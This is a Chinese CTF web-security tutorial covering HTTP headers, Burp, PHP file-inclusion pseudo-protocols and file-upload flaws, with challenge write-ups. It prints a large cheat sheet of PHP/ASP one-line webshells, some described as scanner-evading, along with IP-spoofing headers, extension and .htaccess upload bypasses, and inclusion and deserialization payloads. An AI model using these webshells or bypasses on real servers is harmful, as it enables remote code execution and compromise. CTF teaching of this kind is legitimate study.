HTTP报文

使用Burp抓包和修改时,需要学会去看HTTP的请求报文,包含了客户端发送给服务器的额外信息,这些信息可以帮助服务器更好地处理请求。有些题甚至对请求头做了限制,所以就需要学会看HTTP头。

报文格式

报文分为请求报文和响应报文。请求报文包括以下部分:

请求行:包括请求方法、URL 和 HTTP 版本。

请求头:包括客户端和服务器之间的交互信息,例如浏览器类型、语言、Cookie 等。

请求体:POST 请求时传递的数据,例如表单数据。

响应报文包括以下部分:

状态行:包括协议版本、状态码和状态信息。

响应头:包括服务器和客户端之间的交互信息,例如响应的时间、响应长度等。

响应体:服务器返回的数据,例如 HTML 页面或 JSON 数据。

状态信息

状态信息在HTTP中用一个三位数数字表示,表示对服务器请求的处理结果。常见的状态码包括:

1xx:已收到请求,需要客户端的继续操作。

2xx:成功,服务器成功处理了请求。

3xx:重定向,需要客户端进一步操作才能完成请求。

例如在接受到的响应报文为:

1
2
3
4
5
6
7
8
HTTP/1.1 302 Found
Date: Fri, 02 Aug 2024 07:52:10 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Location: ./secretttt.php
Content-Length: 60
Connection: close
Content-Type: text/html; charset=UTF-8

发现返回302,页面已经被重定向,存在参数Location: ./secretttt.php,想要继续浏览就要到./secretttt.php

4xx:客户端错误,表示客户端发送请求有误。

5xx:服务器错误,服务器处理请求时发生了错误。

此外,存在HTTP的状态消息,通常和状态码一起发送给客户端。例如200的“OK”,404的“Not Found”,500的”Internal Server Error“。

请求头

HTTP 请求头是指在客户端向服务器发送 HTTP 请求时,携带的附加信息。它包含了一些键值对,用于告诉服务器一些关于请求的额外信息。

它由多行文本构成,每行文本包含一个键值对。常见的请求头为:

User-Agent:浏览器或其他客户端的标识信息。
Accept:客户端支持的数据类型。
Content-Type:请求体的 MIME 类型。
Authorization:身份验证信息,用于访问需要授权的资源。
Referer:请求来源 URL。
Cookie:包含存储在客户端的 cookie 数据。

例如一个常见的HTTP请求头:

1
2
3
4
5
6
7
GET /index.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: http://example.com/
Connection: keep-alive

服务器就可以根据这个请求头信息进行不同处理。

有时为了绕过某些题目的请求头限制,需要我们去修改抓的包中的请求头,如:

本地访问:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Host: 127.0.0.1

通常用于只限本地访问,IP禁用情况。

来源修改:

1
Referer: 修改值

用于提示是从哪里过来的,比如是网页从google过来的,那么就有:Referer: https://www.google.com

浏览器修改:

1
User-agent: 修改值

Cookie修改:

1
Set-cookie: 修改值

代理修改:

1
Via: 修改值

邮箱修改:

1
From: 修改值

Burp基本操作

在Proxy模块,Intercept is off变为Intercept is on,然后开始在浏览器打开网页,网页没被打开,而是直接被抓进了Burp里,这就是抓包成功了。

修改包操作:把抓到的包右键点击Send to Repeater,然后点击Repeater(重放器),接下来就可以修改请求头的内容了。

文件包含

文件包含漏洞是一种注入型漏洞,用户输入一段可控脚本或者代码,让服务端执行。

在php中会引发文件包含漏洞的通常有四个危险函数:

1
2
3
4
include()
include_once()
require()
require_once()

include()找不到文件只会产生警告,脚本会继续执行。

require()找不到被包含的文件会产生内部致命错误,使脚本停止执行。

include_once()和include的唯一区别是如果该文件重复调用时只调用一次。

require_once()和require的唯一区别是如果该文件重复调用时只调用一次。

文件包含伪协议

协议格式:协议+://+内容。下面是一些php的常见协议:

file://:访问本地文件系统,在不写协议名字的情况下,默认是file协议。支持这个相对路径和绝对路径。

http://:访问 HTTP(s) 网址,可以获取远程的内容,返回到本地,也可以用包含函数包含远程文件,可以直接读取远程的php文件在本地执行,RCE。

ftp://:默认21端口,进行文件传输的协议。

php://:访问各个输入输出流(IO streams),在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码,php://input用于执行php代码。

通常情况下,当通过 Web 服务器访问一个 PHP 文件时,例如通过 URL http://example.com/flag.php,Web 服务器会将请求转发给 PHP 解释器。PHP 解释器随后解析并执行文件中的 PHP 代码,并将执行结果返回给 Web 服务器,再由 Web 服务器返回给客户端。所以通常我们看到的是经过解释器执行之后的结果,而不是源码。

所以,为了得到我们想要获取文件的源码,需要使用php://filter协议,常见的如:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

这里的read不是一个特定编程语言的关键字或者函数,而是PHP中用来执行数据流操作的一种方法,后面需要接某个过滤器名称,例如上面的例子中使用了Base64编码的过滤器。后接resource=是我们要读取的资源。

data://:类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data流会被当作php文件执行,从而导致任意代码执行。

文件上传

顾名思义就是在网上上传文件,当服务器后端语言未对上传的文件进行严格的验证和过滤,就会造成上传任意文件包括恶意文件的情况,从而使得攻击者绕过上传机制上传恶意代码并执行控制服务器。

恶意代码文件就是php、asp、aspx、jsp等,也被称为webshell。

常用的PHP一句话木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php @eval($_POST['r00ts']);?> 
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?> php环境>=5.6才能用
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>

<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话

<?php (])?> 上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?>
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!

<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%>
无防下载表,有防下载表可尝试插入以下语句突破的一句话

<%eval(request(“1″)):response.end%> 备份专用

举个例子,拿[SWPUCTF 2021 新生赛]easyupload1.0来操作:

提供了一个上传文件的操作,我们可以直接传一个一句话木马:

1
<?php @eval($_POST['r00ts']);?> 

把这个木马写在一个文件里,命名为.jpg文件,通过测试发现这个题目只让上传jpg文件。

这里的过滤是在前端进行的过滤,接下来可以通过抓包再将发送的文件改为jpg文件:

在抓到的包中发现了这些内容:

1
2
3
4
5
6
7
8
9
10
11
------WebKitFormBoundarynnAURIsW84di26Jv
Content-Disposition: form-data; name="uploaded"; filename="upload.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['r00ts']);?>
------WebKitFormBoundarynnAURIsW84di26Jv
Content-Disposition: form-data; name="submit"

GoGoGo!
------WebKitFormBoundarynnAURIsW84di26Jv--

我们把filename改成php文件,然后发送。得到提示:

1
./upload/upload.php succesfully uploaded!

接下来使用蚁剑连接,连接时根据题目提示的地址去写,连接的密码就是我们在木马中填的POST的东西:

连上找到flag.php发现并不是真正的flag。这题flag其实在phpinfo里,我们传入这个木马之后,实际上即可对其进行POST传参,且套了eval可以执行代码,在环境变量里找到了flag:

题目复现

include

取自SWPUCTF 2021 新生赛。

连上靶机之后提示:

根据他的提示随便传入一个参数:

发现有个include,是文件包含漏洞,构造payload:

1
/?file=php://filter/read=convert.base64-encode/resource=flag.php

得到的base64加密的编码进行解码即可得到flag。

PseudoProtocols

取自SWPUCTF 2021 新生赛。

提示去找一个hint.php,用伪协议读取文件:

1
wllm=php://filter/read=convert.base64-encode/resource=hint.php

得到的base64去解码:

1
2
3
<?php
//go to /test2222222222222.php
?>
1
2
3
4
5
6
7
8
9
10
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>

题目给了一个a参数,找到这个参数代表的文件并读,如果内容是I want flag就给flag。

这里用到data伪协议,用法:

1
/?a=data://text/plain,I want flag

这样的话函数读就读到了I want flag,得到flag。

或者可以使用php://input也可以。

直接构造/?a=php://input,然后POST传参一个I want flag就可以了。

easyupload2.0

刚刚做了easyupload1.0,现在来看看2.0:

再用刚刚的方法用burp传入一句话木马,并将jpg改为php文件:

报了一个php是不行的,这里可以使用phtml绕过。

一些简单的绕过后缀:

1
2
3
4
5
6
7
ASP: asa、cer、cdx

ASPX: ashx、asmx、ascx、esms

PHP: php4、php5、phtml

JSP: jspx、jspf

改为phtml之后上传成功,使用蚁剑连接:

在上层目录里找到flag.php,得到flag。

easyupload3.0

接下来是3.0:

这题用同样的方法传入木马,改后缀,发现都不行,会被拦截。注意到题目提示要和某些文件配合。这里提示我们需要先上传一个黑名单文件,再上传一句话木马文件。

这里我们用到htaccess文件,可以通过这种文件实现网页页面重定向,改变文件名,目录的访问等。而对于htaccess文件的内容,只要符合php编码规则即可。根据这题的要求,构造htaccess文件:

1
2
3
<FilesMatch "upload.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

意思就是用php解释器来解析这个jpg文件,达到我们不需要改写后缀也能实现php文件的功能。

先上传htaccess,再上传jpg文件,就可以链接了:

注意这里的htaccess文件不需要文件名,直接命名为.htaccess即可。

根目录下找到flag。

简单包含

取自鹏程杯2022:

1
2
3
4
<?php 
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;

尝试直接使用php伪协议:

1
flag=php://filter/read=convert.base64-encode/resource=flag.php

返回了一个WAF提示,看来被拦截了,但是并不知道是什么拦截,尝试看一下源码:

1
flag=php://filter/read=convert.base64-encode/resource=index.php

解码:

1
2
3
4
5
6
7
8
9
10
<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>

发现判断是strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path),要想绕过这个判断,发现有一个strlen,干脆直接构造一个超长的payload大于800就可以了:

1
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php://filter/read=convert.base64-encode/resource=index.php

NiZhuanSiWei

选自ZJCTF2019,一道不错的综合题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

需要传入三个参数,text用前面学的data伪协议来绕过,file按照提示用php伪协议先查看useless.php,至于这个password暂时不知道有什么用,先随便传入一个:

1
/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php&password=
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

发现一个__toString(),在题目源代码中最后是用到了echo $password;,所以构造Flag的对象使其反序列化能保证魔术方法触发,依靠这个魔术方法可以得到flag.php的内容。

先构造出一个序列化的Flag:

1
2
3
4
5
6
7
8
9
10
<?php

class Flag{ //flag.php
public $file = 'flag.php';
}

$a = new Flag();
echo serialize($a);

# O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

构造payload:

1
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

发现得到了输出,但是没有flag,打开F12发现flag被注释掉了,得到flag: